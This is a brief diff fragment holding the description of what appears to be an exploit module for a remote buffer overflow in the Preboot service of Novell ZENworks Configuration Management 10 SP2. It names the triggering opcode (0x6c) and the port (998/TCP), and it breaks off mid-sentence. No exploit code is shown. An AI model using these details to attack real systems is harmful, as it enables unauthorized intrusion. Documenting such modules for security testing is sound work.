+					This module exploits a remote buffer overflow in the ZENworks Configuration Management 10 SP2.
+				The vulnerability exists in the Preboot service and can be triggered by sending a specially crafted
+				packet with the opcode 0x6c (PROXY_CMD_GET_NEXT_STEP) to port 998/TCP. The module has been successfully
+				tested on tested on Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2 (DEP
